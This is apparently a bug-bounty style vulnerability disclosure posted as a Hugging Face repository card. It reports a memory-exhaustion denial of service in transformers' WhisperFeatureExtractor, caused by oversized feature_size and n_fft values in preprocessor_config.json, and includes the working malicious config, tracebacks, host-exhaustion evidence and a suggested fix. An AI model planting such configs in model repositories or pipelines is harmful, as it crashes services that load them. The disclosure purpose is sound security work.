You need to agree to share your contact information to access this model

This repository is publicly accessible, but you have to accept the conditions to access its files and content.

Log in or Sign Up to review the conditions and access this model content.

YAML Metadata Warning:empty or missing yaml metadata in repo card

Check out the documentation for more information.

Load-time memory-exhaustion DoS in transformers via a crafted preprocessor_config.json (AutoFeatureExtractor.from_pretrained)

Target: huggingface/transformers Version tested: transformers 5.14.1, numpy 2.5.1, Python 3.13.12, torch absent Class: Uncontrolled resource consumption / memory-exhaustion DoS (CWE-789 / CWE-400) Entry point: transformers.AutoFeatureExtractor.from_pretrained(<dir>) β€” the ordinary, unavoidable API for loading any audio model's feature extractor. No trust_remote_code, no network, no PyTorch, no sentencepiece. A single ~200-byte JSON file in a malicious/local model repo is sufficient.


Summary

Audio feature extractors eagerly precompute a dense mel filter bank in __init__, sized entirely by config integers with no bounds or sanity validation. Two attacker-controlled fields in preprocessor_config.json β€” feature_size and n_fft β€” become the dimensions of dense float64 numpy arrays allocated at model-load time. A ~200-byte JSON therefore forces multi-GB-to-TB allocations, exhausting host memory (or, under an address-space cap, raising MemoryError) before any usable object is built.


Root cause

WhisperFeatureExtractor.__init__ builds the mel filter bank up front:

# transformers/models/whisper/feature_extraction_whisper.py, line 95
self.mel_filters = mel_filter_bank(
    num_frequency_bins=1 + n_fft // 2,   # n_fft from JSON
    num_mel_filters=feature_size,        # feature_size from JSON
    min_frequency=0.0,
    max_frequency=8000.0,
    sampling_rate=sampling_rate,
    norm="slaney",
    mel_scale="slaney",
)

Both feature_size and n_fft are read verbatim from preprocessor_config.json. The path from untrusted JSON to the constructor is:

AutoFeatureExtractor.from_pretrained
  -> feature_extraction_utils.from_pretrained
  -> feature_extraction_utils.from_dict         # feature_extraction_utils.py:576
  -> cls(**feature_extractor_dict)              # kwargs straight from JSON, zero validation
  -> WhisperFeatureExtractor.__init__           # feature_extraction_whisper.py:95
  -> mel_filter_bank(...)

Inside mel_filter_bank (transformers/audio_utils.py) the config integers directly size three float64 allocations:

# transformers/audio_utils.py
mel_freqs = np.linspace(mel_min, mel_max, num_mel_filters + 2)          # line 703  -> feature_size-length array
...
fft_freqs = np.linspace(0, sampling_rate // 2, num_frequency_bins)      # line 713  -> (n_fft//2)-length array
...
# _create_triangular_filter_bank, line 557:
slopes = np.expand_dims(fft_freqs, 0) - np.expand_dims(filter_freqs, 1) # dense (num_frequency_bins, num_mel_filters+2) float64 matrix

There is no length guard, no upper bound, and no memory cap on either dimension. feature_size = n_fft = 2_000_000_000 makes num_mel_filters + 2 = 2000000002; the very first np.linspace allocation (2000000002 * 8 bytes = 14.9 GiB) already fails, and the intended outer-difference slopes matrix would be (1e9) * (2e9) * 8 bytes = petabytes.


Proof of Concept

Two model directories, each containing only a preprocessor_config.json:

benign_model/preprocessor_config.json (stock Whisper):

{"feature_extractor_type": "WhisperFeatureExtractor",
 "feature_size": 80, "sampling_rate": 16000, "hop_length": 160,
 "chunk_length": 30, "n_fft": 400, "padding_value": 0.0}

malicious_model/preprocessor_config.json (only the two integers changed):

{"feature_extractor_type": "WhisperFeatureExtractor",
 "feature_size": 2000000000, "sampling_rate": 16000, "hop_length": 160,
 "chunk_length": 30, "n_fft": 2000000000, "padding_value": 0.0}

repro.py caps RLIMIT_AS at 1.5 GiB for a deterministic, clean crash, then calls AutoFeatureExtractor.from_pretrained(dir):

python repro.py benign      # negative control
python repro.py malicious   # DoS

Captured evidence (live run, this machine)

===== NEGATIVE CONTROL (benign config) =====
[BENIGN] loaded OK in 2.2 ms; mel_filters shape=(201, 80)

===== MALICIOUS config =====
Traceback (most recent call last):
  File ".../mel_poc/repro.py", line 21, in run
    fe = AutoFeatureExtractor.from_pretrained(path)
  File ".../transformers/models/auto/feature_extraction_auto.py", line 345, in from_pretrained
    return feature_extractor_class.from_pretrained(pretrained_model_name_or_path, **kwargs)
  File ".../transformers/feature_extraction_utils.py", line 381, in from_pretrained
    return cls.from_dict(feature_extractor_dict, **kwargs)
  File ".../transformers/feature_extraction_utils.py", line 576, in from_dict
    feature_extractor = cls(**feature_extractor_dict)
  File ".../transformers/models/whisper/feature_extraction_whisper.py", line 95, in __init__
    self.mel_filters = mel_filter_bank(
        num_frequency_bins=1 + n_fft // 2,
        ...
  File ".../transformers/audio_utils.py", line 703, in mel_filter_bank
    mel_freqs = np.linspace(mel_min, mel_max, num_mel_filters + 2)
  File ".../numpy/_core/function_base.py", line 142, in linspace
    y = _nx.arange(0, num, dtype=dt, device=device).reshape(...)
numpy._core._exceptions._ArrayMemoryError: Unable to allocate 14.9 GiB for an array with shape (2000000002,) and data type float64
[MALICIOUS] MemoryError after 1.7 ms  <-- DoS triggered

Uncapped run β€” genuine host memory exhaustion (not just an allocator guard)

A second run without the artificial RLIMIT_AS cap on a 31 GiB host drove real memory exhaustion: available RAM fell from 26 GiB to 9 GiB and swap filled to 926/953 MiB (host thrashing) until the process was killed:

Mem:  total 31Gi  used 21Gi  free 2.4Gi  available 9Gi
Swap: total 953Mi  used 926Mi  free 27Mi

This confirms the finding is a real denial-of-service (host resource exhaustion), not merely a caught allocator exception.

Negative control

The byte-identical config with the stock feature_size=80, n_fft=400 loads fine (mel_filters shape=(201, 80)) in ~2 ms under the same 1.5 GiB cap β€” isolating the two config integers as the sole cause (not JSON parsing, not feature-extractor construction).


Impact / scaling

Any pipeline that auto-loads community audio models (ASR/inference services, model-scanning/eval infra, CI) is exposed. The attacker controls the allocation size with a tiny file: the malicious config is ~200 bytes yet forces GB-to-PB allocations at load time. This affects WhisperFeatureExtractor directly and the same eager mel_filter_bank(num_mel_filters=feature_size, num_frequency_bins=1+n_fft//2, ...) pattern used by other audio feature extractors that construct the filter bank from config integers in __init__.

Suggested remediation

Validate feature_size and n_fft (and any other dimension-bearing config integers) against small sane upper bounds in from_dict/__init__ before allocation; or build the mel filter bank lazily and bound its size. Reject configs whose implied filter-bank dimensions exceed a reasonable ceiling.


Dedup note

  • Distinct from huntr-poc-transformers-generate-merges-quadratic-dos (quadratic-time CPU DoS in generate_merges via tokenizer_config.json / AutoTokenizer) β€” different file, function, entry point (feature extractor vs tokenizer), and resource (memory vs CPU).
  • Distinct from huntr-poc-gguf-transformers-dos (gguf merge-building path).
  • Unrelated to whisper.cpp/ggml mel-filter findings (whisper-cpp-mel-filter-oom, huntr-poc-ggml-whisper-mel-filter-alloc) β€” those target the C++ ggml/whisper.cpp project, not the Python transformers AutoFeatureExtractor path.
  • No CVE currently maps to the preprocessor_config.json -> mel_filter_bank unbounded-allocation path in transformers/audio_utils.py / feature_extraction_whisper.py as of packaging.

Files in this repo

  • repro.py β€” driver (caps RLIMIT_AS at 1.5 GiB for a deterministic MemoryError; runs benign control and malicious case).
  • benign_model/preprocessor_config.json β€” stock Whisper config (negative control).
  • malicious_model/preprocessor_config.json β€” malicious config (only feature_size/n_fft changed).
Downloads last month

-

Downloads are not tracked for this model. How to track
Inference Providers NEW
This model isn't deployed by any Inference Provider. πŸ™‹ Ask for provider support